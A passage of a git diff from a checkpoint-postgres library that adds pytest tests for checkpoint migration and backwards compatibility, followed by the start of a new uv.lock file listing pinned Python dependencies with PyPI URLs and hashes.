1) + config = saver.put(config, checkpoint_1, {}, {}) + + # check that pending sends are attached to checkpoint_1 + checkpoint_1 = saver.get_tuple(config) + assert checkpoint_1.checkpoint["channel_values"] == { + TASKS: ["send-1", "send-2", "send-3"] + } + assert TASKS in checkpoint_1.checkpoint["channel_versions"] + + # check that list also applies the migration + search_results = [ + c for c in saver.list({"configurable": {"thread_id": "thread-1"}}) + ] + assert len(search_results) == 2 + assert search_results[-1].checkpoint["channel_values"] == {} + assert search_results[-1].checkpoint["channel_versions"] == {} + assert search_results[0].checkpoint["channel_values"] == { + TASKS: ["send-1", "send-2", "send-3"] + } + assert TASKS in search_results[0].checkpoint["channel_versions"] + + +@pytest.mark.parametrize("saver_name", ["base", "pool", "pipe"]) +def test_get_checkpoint_no_channel_values( + monkeypatch, saver_name: str, test_data +) -> None: + """Backwards compatibility test that verifies a checkpoint with no channel_values key can be retrieved without throwing an error.""" + with _saver(saver_name) as saver: + config = { + "configurable": { + "thread_id": "thread-2", + "checkpoint_ns": "", + "__super_private_key": "super_private_value", + }, + } + chkpnt: Checkpoint = create_checkpoint(empty_checkpoint(), {}, 1) + saver.put(config, chkpnt, {}, {}) + + load_checkpoint_tuple = saver._load_checkpoint_tuple + + def patched_load_checkpoint_tuple(value): + value["checkpoint"].pop("channel_values", None) + return load_checkpoint_tuple(value) + + monkeypatch.setattr( + saver, "_load_checkpoint_tuple", patched_load_checkpoint_tuple + ) + + checkpoint = saver.get_tuple(config) + assert checkpoint.checkpoint["channel_values"] == {} diff --git a/libs/checkpoint-postgres/uv.lock b/libs/checkpoint-postgres/uv.lock new file mode 100644 index 0000000..813d476 --- /dev/null +++ b/libs/checkpoint-postgres/uv.lock @@ -0,0 +1,1445 @@ +version = 1 +revision = 3 +requires-python = ">=3.10" +resolution-markers = [ + "python_full_version >= '3.15'", + "python_full_version < '3.15'", +] + +[[package]] +name = "annotated-types" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, +] + +[[package]] +name = "anyio" +version = "4.14.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, + { name = "idna" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3b/72/5562aabb8dd7181e8e860622a38bea08d17842b99ecd4c91f84ac95251b0/anyio-4.14.1.tar.gz", hash = "sha256:8d648a3544c1a700e3ff78615cd679e4c5c3f149904287e73687b2596963629e", size = 254831, upload-time = "2026-06-24T20:56:06.017Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b0/7b/90df4a0a816d98d6ea26f559d87836d494a2cf1fcf063be67df50a7bcc30/anyio-4.14.1-py3-none-any.whl", hash = "sha256:4e5533c5b8ff0a24f5d7a176cbe6877129cd183893f66b537f8f227d10527d72", size = 124875, upload-time = "2026-06-24T20:56:04.413Z" }, +] + +[[package]] +name = "backports-asyncio-runner" +version = "1.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8e/ff/70dca7d7cb1cbc0edb2c6cc0c38b65cba36cccc491eca64cabd5fe7f8670/backports_asyncio_runner-1.2.0.tar.gz", hash = "sha256:a5aa7b2b7d8f8bfcaa2b57313f70792df84e32a2a746f585213373f900b42162", size = 69893, upload-time = "2025-07-02T02:27:15.685Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a0/59/76ab57e3fe74484f48a53f8e337171b4a2349e506eabe136d7e01d059086/backports_asyncio_runner-1.2.0-py3-none-any.whl", hash = "sha256:0da0a936a8aeb554eccb426dc55af3ba63bcdc69fa1a600b5bb305413a4477b5", size = 12313, upload-time = "2025-07-02T02:27:14.263Z" }, +] + +[[package]] +name = "certifi" +version = "2026.1.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e0/2d/a891ca51311197f6ad14a7ef42e2399f36cf2f9bd44752b3dc4eab60fdc5/certifi-2026.1.4.tar.gz", hash = "sha256:ac726dd470482006e014ad384921ed6438c457018f4b3d204aea4281258b2120", size = 154268, upload-time = "2026-01-04T02:42:41.825Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e6/ad/3cc14f097111b4de0040c83a525973216457bbeeb63739ef1ed275c1c021/certifi-2026.1.4-py3-none-any.whl", hash = "sha256:9943707519e4add1115f44c2bc244f782c0249876bf51b6599fee1ffbedd685c", size = 152900, upload-time = "2026-01-04T02:42:40.15Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/13/69/33ddede1939fdd074bce5434295f38fae7136463422fe4fd3e0e89b98062/charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a", size = 129418, upload-time = "2025-10-14T04:42:32.879Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1f/b8/6d51fc1d52cbd52cd4ccedd5b5b2f0f6a11bbf6765c782298b0f3e808541/charset_normalizer-3.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d", size = 209709, upload-time = "2025-10-14T04:40:11.385Z" }, + { url = "https://files.pythonhosted.org/packages/5c/af/1f9d7f7faafe2ddfb6f72a2e07a548a629c61ad510fe60f9630309908fef/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8", size = 148814, upload-time = "2025-10-14T04:40:13.135Z" }, + { url = "https://files.pythonhosted.org/packages/79/3d/f2e3ac2bbc056ca0c204298ea4e3d9db9b4afe437812638759db2c976b5f/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad", size = 144467, upload-time = "2025-10-14T04:40:14.728Z" }, + { url = "https://files.pythonhosted.org/packages/ec/85/1bf997003815e60d57de7bd972c57dc6950446a3e4ccac43bc3070721856/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8", size = 162280, upload-time = "2025-10-14T04:40:16.14Z" }, + { url = "https://files.pythonhosted.org/packages/3e/8e/6aa1952f56b192f54921c436b87f2aaf7c7a7c3d0d1a765547d64fd83c13/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d", size = 159454, upload-time = "2025-10-14T04:40:17.567Z" }, + { url = "https://files.pythonhosted.org/packages/36/3b/60cbd1f8e93aa25d1c669c649b7a655b0b5fb4c571858910ea9332678558/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313", size = 153609, upload-time = "2025-10-14T04:40:19.08Z" }, + { url = "https://files.pythonhosted.org/packages/64/91/6a13396948b8fd3c4b4fd5bc74d045f5637d78c9675585e8e9fbe5636554/charset_normalizer-3.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e", size = 151849, upload-time = "2025-10-14T04:40:20.607Z" }, + { url = "https://files.pythonhosted.org/packages/b7/7a/59482e28b9981d105691e968c544cc0df3b7d6133152fb3dcdc8f135da7a/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93", size = 151586, upload-time = "2025-10-14T04:40:21.719Z" }, + { url = "https://files.pythonhosted.org/packages/92/59/f64ef6a1c4bdd2baf892b04cd78792ed8684fbc48d4c2afe467d96b4df57/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:244bfb999c71b35de57821b8ea746b24e863398194a4014e4c76adc2bbdfeff0", size = 145290, upload-time = "2025-10-14T04:40:23.069Z" }, + { url = "https://files.pythonhosted.org/packages/6b/63/3bf9f279ddfa641ffa1962b0db6a57a9c294361cc2f5fcac997049a00e9c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:64b55f9dce520635f018f907ff1b0df1fdc31f2795a922fb49dd14fbcdf48c84", size = 163663, upload-time = "2025-10-14T04:40:24.17Z" }, + { url = "https://files.pythonhosted.org/packages/ed/09/c9e38fc8fa9e0849b172b581fd9803bdf6e694041127933934184e19f8c3/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:faa3a41b2b66b6e50f84ae4a68c64fcd0c44355741c6374813a800cd6695db9e", size = 151964, upload-time = "2025-10-14T04:40:25.368Z" }, + { url = "https://files.pythonhosted.org/packages/d2/d1/d28b747e512d0da79d8b6a1ac18b7ab2ecfd81b2944c4c710e166d8dd09c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6515f3182dbe4ea06ced2d9e8666d97b46ef4c75e326b79bb624110f122551db", size = 161064, upload-time = "2025-10-14T04:40:26.806Z" }, + { url = "https://files.pythonhosted.org/packages/bb/9a/31d62b611d901c3b9e5500c36aab0ff5eb442043fb3a1c254200d3d397d9/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc00f04ed596e9dc0da42ed17ac5e596c6ccba999ba6bd92b0e0aef2f170f2d6", size = 155015, upload-time = "2025-10-14T04:40:28.284Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f3/107e008fa2bff0c8b9319584174418e5e5285fef32f79d8ee6a430d0039c/charset_normalizer-3.4.4-cp310-cp310-win32.whl", hash = "sha256:f34be2938726fc13801220747472850852fe6b1ea75869a048d6f896838c896f", size = 99792, upload-time = "2025-10-14T04:40:29.613Z" }, + { url = "https://files.pythonhosted.org/packages/eb/66/e396e8a408843337d7315bab30dbf106c38966f1819f123257f5520f8a96/charset_normalizer-3.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:a61900df84c667873b292c3de315a786dd8dac506704dea57bc957bd31e22c7d", size = 107198, upload-time = "2025-10-14T04:40:30.644Z" }, + { url = "https://files.pythonhosted.org/packages/b5/58/01b4f815bf0312704c267f2ccb6e5d42bcc7752340cd487bc9f8c3710597/charset_normalizer-3.4.4-cp310-cp310-win_arm64.whl", hash = "sha256:cead0978fc57397645f12578bfd2d5ea9138ea0fac82b2f63f7f7c6877986a69", size = 100262, upload-time = "2025-10-14T04:40:32.108Z" }, + { url = "https://files.pythonhosted.org/packages/ed/27/c6491ff4954e58a10f69ad90aca8a1b6fe9c5d3c6f380907af3c37435b59/charset_normalizer-3.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8", size = 206988, upload-time = "2025-10-14T04:40:33.79Z" }, + { url = "https://files.pythonhosted.org/packages/94/59/2e87300fe67ab820b5428580a53cad894272dbb97f38a7a814a2a1ac1011/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0", size = 147324, upload-time = "2025-10-14T04:40:34.961Z" }, + { url = "https://files.pythonhosted.org/packages/07/fb/0cf61dc84b2b088391830f6274cb57c82e4da8bbc2efeac8c025edb88772/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3", size = 142742, upload-time = "2025-10-14T04:40:36.105Z" }, + { url = "https://files.pythonhosted.org/packages/62/8b/171935adf2312cd745d290ed93cf16cf0dfe320863ab7cbeeae1dcd6535f/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ef3c867360f88ac904fd3f5e1f902f13307af9052646963ee08ff4f131adafc", size = 160863, upload-time = "2025-10-14T04:40:37.188Z" }, + { url = "https://files.pythonhosted.org/packages/09/73/ad875b192bda14f2173bfc1bc9a55e009808484a4b256748d931b6948442/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d9e45d7faa48ee908174d8fe84854479ef838fc6a705c9315372eacbc2f02897", size = 157837, upload-time = "2025-10-14T04:40:38.435Z" }, + { url = "https://files.pythonhosted.org/packages/6d/fc/de9cce525b2c5b94b47c70a4b4fb19f871b24995c728e957ee68ab1671ea/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:840c25fb618a231545cbab0564a799f101b63b9901f2569faecd6b222ac72381", size = 151550, upload-time = "2025-10-14T04:40:40.053Z" }, + { url = "https://files.pythonhosted.org/packages/55/c2/43edd615fdfba8c6f2dfbd459b25a6b3b551f24ea21981e23fb768503ce1/charset_normalizer-3.4.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ca5862d5b3928c4940729dacc329aa9102900382fea192fc5e52eb69d6093815", size = 149162, upload-time = "2025-10-14T04:40:41.163Z" }, + { url = "https://files.pythonhosted.org/packages/03/86/bde4ad8b4d0e9429a4e82c1e8f5c659993a9a863ad62c7df05cf7b678d75/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d9c7f57c3d666a53421049053eaacdd14bbd0a528e2186fcb2e672effd053bb0", size = 150019, upload-time = "2025-10-14T04:40:42.276Z" }, + { url = "https://files.pythonhosted.org/packages/1f/86/a151eb2af293a7e7bac3a739b81072585ce36ccfb4493039f49f1d3cae8c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:277e970e750505ed74c832b4bf75dac7476262ee2a013f5574dd49075879e161", size = 143310, upload-time = "2025-10-14T04:40:43.439Z" }, + { url = "https://files.pythonhosted.org/packages/b5/fe/43dae6144a7e07b87478fdfc4dbe9efd5defb0e7ec29f5f58a55aeef7bf7/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:31fd66405eaf47bb62e8cd575dc621c56c668f27d46a61d975a249930dd5e2a4", size = 162022, upload-time = "2025-10-14T04:40:44.547Z" }, + { url = "https://files.pythonhosted.org/packages/80/e6/7aab83774f5d2bca81f42ac58d04caf44f0cc2b65fc6db2b3b2e8a05f3b3/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:0d3d8f15c07f86e9ff82319b3d9ef6f4bf907608f53fe9d92b28ea9ae3d1fd89", size = 149383, upload-time = "2025-10-14T04:40:46.018Z" }, + { url = "https://files.pythonhosted.org/packages/4f/e8/b289173b4edae05c0dde07f69f8db476a0b511eac556dfe0d6bda3c43384/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9f7fcd74d410a36883701fafa2482a6af2ff5ba96b9a620e9e0721e28ead5569", size = 159098, upload-time = "2025-10-14T04:40:47.081Z" }, + { url = "https://files.pythonhosted.org/packages/d8/df/fe699727754cae3f8478493c7f45f777b17c3ef0600e28abfec8619eb49c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ebf3e58c7ec8a8bed6d66a75d7fb37b55e5015b03ceae72a8e7c74495551e224", size = 152991, upload-time = "2025-10-14T04:40:48.246Z" }, + { url = "https://files.pythonhosted.org/packages/1a/86/584869fe4ddb6ffa3bd9f491b87a01568797fb9bd8933f557dba9771beaf/charset_normalizer-3.4.4-cp311-cp311-win32.whl", hash = "sha256:eecbc200c7fd5ddb9a7f16c7decb07b566c29fa2161a16cf67b8d068bd21690a", size = 99456, upload-time = "2025-10-14T04:40:49.376Z" }, + { url = "https://files.pythonhosted.org/packages/65/f6/62fdd5feb60530f50f7e38b4f6a1d5203f4d16ff4f9f0952962c044e919a/charset_normalizer-3.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:5ae497466c7901d54b639cf42d5b8c1b6a4fead55215500d2f486d34db48d016", size = 106978, upload-time = "2025-10-14T04:40:50.844Z" }, + { url = "https://files.pythonhosted.org/packages/7a/9d/0710916e6c82948b3be62d9d398cb4fcf4e97b56d6a6aeccd66c4b2f2bd5/charset_normalizer-3.4.4-cp311-cp311-win_arm64.whl", hash = "sha256:65e2befcd84bc6f37095f5961e68a6f077bf44946771354a28ad434c2cce0ae1", size = 99969, upload-time = "2025-10-14T04:40:52.272Z" }, + { url = "https://files.pythonhosted.org/packages/f3/85/1637cd4af66fa687396e757dec650f28025f2a2f5a5531a3208dc0ec43f2/charset_normalizer-3.4.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0a98e6759f854bd25a58a73fa88833fba3b7c491169f86ce1180c948ab3fd394", size = 208425, upload-time = "2025-10-14T04:40:53.353Z" }, + { url = "https://files.pythonhosted.org/packages/9d/6a/04130023fef2a0d9c62d0bae2649b69f7b7d8d24ea5536feef50551029df/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b5b290ccc2a263e8d185130284f8501e3e36c5e02750fc6b6bdeb2e9e96f1e25", size = 148162, upload-time = "2025-10-14T04:40:54.558Z" }, + { url = "https://files.pythonhosted.org/packages/78/29/62328d79aa60da22c9e0b9a66539feae06ca0f5a4171ac4f7dc285b83688/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74bb723680f9f7a6234dcf67aea57e708ec1fbdf5699fb91dfd6f511b0a320ef", size = 144558, upload-time = "2025-10-14T04:40:55.677Z" }, + { url = "https://files.pythonhosted.org/packages/86/bb/b32194a4bf15b88403537c2e120b817c61cd4ecffa9b6876e941c3ee38fe/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f1e34719c6ed0b92f418c7c780480b26b5d9c50349e9a9af7d76bf757530350d", size = 161497, upload-time = "2025-10-14T04:40:57.217Z" }, + { url = "https://files.pythonhosted.org/packages/19/89/a54c82b253d5b9b111dc74aca196ba5ccfcca8242d0fb64146d4d3183ff1/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2437418e20515acec67d86e12bf70056a33abdacb5cb1655042f6538d6b085a8", size = 159240, upload-time = "2025-10-14T04:40:58.358Z" }, + { url = "https://files.pythonhosted.org/packages/c0/10/d20b513afe03acc89ec33948320a5544d31f21b05368436d580dec4e234d/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:11d694519d7f29d6cd09f6ac70028dba10f92f6cdd059096db198c283794ac86", size = 153471, upload-time = "2025-10-14T04:40:59.468Z" }, + { url = "https://files.pythonhosted.org/packages/61/fa/fbf177b55bdd727010f9c0a3c49eefa1d10f960e5f09d1d887bf93c2e698/charset_normalizer-3.4.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ac1c4a689edcc530fc9d9aa11f5774b9e2f33f9a0c6a57864e90908f5208d30a", size = 150864, upload-time = "2025-10-14T04:41:00.623Z" }, + { url = "https://files.pythonhosted.org/packages/05/12/9fbc6a4d39c0198adeebbde20b619790e9236557ca59fc40e0e3cebe6f40/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:21d142cc6c0ec30d2efee5068ca36c128a30b0f2c53c1c07bd78cb6bc1d3be5f", size = 150647, upload-time = "2025-10-14T04:41:01.754Z" }, + { url = "https://files.pythonhosted.org/packages/ad/1f/6a9a593d52e3e8c5d2b167daf8c6b968808efb57ef4c210acb907c365bc4/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5dbe56a36425d26d6cfb40ce79c314a2e4dd6211d51d6d2191c00bed34f354cc", size = 145110, upload-time = "2025-10-14T04:41:03.231Z" }, + { url = "https://files.pythonhosted.org/packages/30/42/9a52c609e72471b0fc54386dc63c3781a387bb4fe61c20231a4ebcd58bdd/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5bfbb1b9acf3334612667b61bd3002196fe2a1eb4dd74d247e0f2a4d50ec9bbf", size = 162839, upload-time = "2025-10-14T04:41:04.715Z" }, + { url = "https://files.pythonhosted.org/packages/c4/5b/c0682bbf9f11597073052628ddd38344a3d673fda35a36773f7d19344b23/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:d055ec1e26e441f6187acf818b73564e6e6282709e9bcb5b63f5b23068356a15", size = 150667, upload-time = "2025-10-14T04:41:05.827Z" }, + { url = "https://files.pythonhosted.org/packages/e4/24/a41afeab6f990cf2daf6cb8c67419b63b48cf518e4f56022230840c9bfb2/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:af2d8c67d8e573d6de5bc30cdb27e9b95e49115cd9baad5ddbd1a6207aaa82a9", size = 160535, upload-time = "2025-10-14T04:41:06.938Z" }, + { url = "https://files.pythonhosted.org/packages/2a/e5/6a4ce77ed243c4a50a1fecca6aaaab419628c818a49434be428fe24c9957/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:780236ac706e66881f3b7f2f32dfe90507a09e67d1d454c762cf642e6e1586e0", size = 154816, upload-time = "2025-10-14T04:41:08.101Z" }, + { url = "https://files.pythonhosted.org/packages/a8/ef/89297262b8092b312d29cdb2517cb1237e51db8ecef2e9af5edbe7b683b1/charset_normalizer-3.4.4-cp312-cp312-win32.whl", hash = "sha256:5833d2c39d8896e4e19b689ffc198f08ea58116bee26dea51e362ecc7cd3ed26", size = 99694, upload-time = "2025-10-14T04:41:09.23Z" }, + { url = "https://files.pythonhosted.org/packages/3d/2d/1e5ed9dd3b3803994c155cd9aacb60c82c331bad84daf75bcb9c91b3295e/charset_normalizer-3.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:a79cfe37875f822425b89a82333404539ae63dbdddf97f84dcbc3d339aae9525", size = 107131, upload-time = "2025-10-14T04:41:10.467Z" }, + { url = "https://files.pythonhosted.org/packages/d0/d9/0ed4c7098a861482a7b6a95603edce4c0d9db2311af23da1fb2b75ec26fc/charset_normalizer-3.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:376bec83a63b8021bb5c8ea75e21c4ccb86e7e45ca4eb81146091b56599b80c3", size = 100390, upload-time = "2025-10-14T04:41:11.915Z" }, + { url = "https://files.pythonhosted.org/packages/97/45/4b3a1239bbacd321068ea6e7ac28875b03ab8bc0aa0966452db17cd36714/charset_normalizer-3.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794", size = 208091, upload-time = "2025-10-14T04:41:13.346Z" }, + { url = "https://files.pythonhosted.org/packages/7d/62/73a6d7450829655a35bb88a88fca7d736f9882a27eacdca2c6d505b57e2e/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed", size = 147936, upload-time = "2025-10-14T04:41:14.461Z" }, + { url = "https://files.pythonhosted.org/packages/89/c5/adb8c8b3d6625bef6d88b251bbb0d95f8205831b987631ab0c8bb5d937c2/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72", size = 144180, upload-time = "2025-10-14T04:41:15.588Z" }, + { url = "https://files.pythonhosted.org/packages/91/ed/9706e4070682d1cc219050b6048bfd293ccf67b3d4f5a4f39207453d4b99/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:81d5eb2a312700f4ecaa977a8235b634ce853200e828fbadf3a9c50bab278328", size = 161346, upload-time = "2025-10-14T04:41:16.738Z" }, + { url = "https://files.pythonhosted.org/packages/d5/0d/031f0d95e4972901a2f6f09ef055751805ff541511dc1252ba3ca1f80cf5/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5bd2293095d766545ec1a8f612559f6b40abc0eb18bb2f5d1171872d34036ede", size = 158874, upload-time = "2025-10-14T04:41:17.923Z" }, + { url = "https://files.pythonhosted.org/packages/f5/83/6ab5883f57c9c801ce5e5677242328aa45592be8a00644310a008d04f922/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8a8b89589086a25749f471e6a900d3f662d1d3b6e2e59dcecf787b1cc3a1894", size = 153076, upload-time = "2025-10-14T04:41:19.106Z" }, + { url = "https://files.pythonhosted.org/packages/75/1e/5ff781ddf5260e387d6419959ee89ef13878229732732ee73cdae01800f2/charset_normalizer-3.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc7637e2f80d8530ee4a78e878bce464f70087ce73cf7c1caf142416923b98f1", size = 150601, upload-time = "2025-10-14T04:41:20.245Z" }, + { url = "https://files.pythonhosted.org/packages/d7/57/71be810965493d3510a6ca79b90c19e48696fb1ff964da319334b12677f0/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f8bf04158c6b607d747e93949aa60618b61312fe647a6369f88ce2ff16043490", size = 150376, upload-time = "2025-10-14T04:41:21.398Z" }, + { url = "https://files.pythonhosted.org/packages/e5/d5/c3d057a78c181d007014feb7e9f2e65905a6c4ef182c0ddf0de2924edd65/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:554af85e960429cf30784dd47447d5125aaa3b99a6f0683589dbd27e2f45da44", size = 144825, upload-time = "2025-10-14T04:41:22.583Z" }, + { url = "https://files.pythonhosted.org/packages/e6/8c/d0406294828d4976f275ffbe66f00266c4b3136b7506941d87c00cab5272/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:74018750915ee7ad843a774364e13a3db91682f26142baddf775342c3f5b1133", size = 162583, upload-time = "2025-10-14T04:41:23.754Z" }, + { url = "https://files.pythonhosted.org/packages/d7/24/e2aa1f18c8f15c4c0e932d9287b8609dd30ad56dbe41d926bd846e22fb8d/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c0463276121fdee9c49b98908b3a89c39be45d86d1dbaa22957e38f6321d4ce3", size = 150366, upload-time = "2025-10-14T04:41:25.27Z" }, + { url = "https://files.pythonhosted.org/packages/e4/5b/1e6160c7739aad1e2df054300cc618b06bf784a7a164b0f238360721ab86/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:362d61fd13843997c1c446760ef36f240cf81d3ebf74ac62652aebaf7838561e", size = 160300, upload-time = "2025-10-14T04:41:26.725Z" }, + { url = "https://files.pythonhosted.org/packages/7a/10/f882167cd207fbdd743e55534d5d9620e095089d176d55cb22d5322f2afd/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9a26f18905b8dd5d685d6d07b0cdf98a79f3c7a918906af7cc143ea2e164c8bc", size = 154465, upload-time = "2025-10-14T04:41:28.322Z" }, + { url = "https://files.pythonhosted.org/packages/89/66/c7a9e1b7429be72123441bfdbaf2bc13faab3f90b933f664db506dea5915/charset_normalizer-3.4.4-cp313-cp313-win32.whl", hash = "sha256:9b35f4c90079ff2e2edc5b26c0c77925e5d2d255c42c74fdb70fb49b172726ac", size = 99404, upload-time = "2025-10-14T04:41:29.95Z" }, + { url = 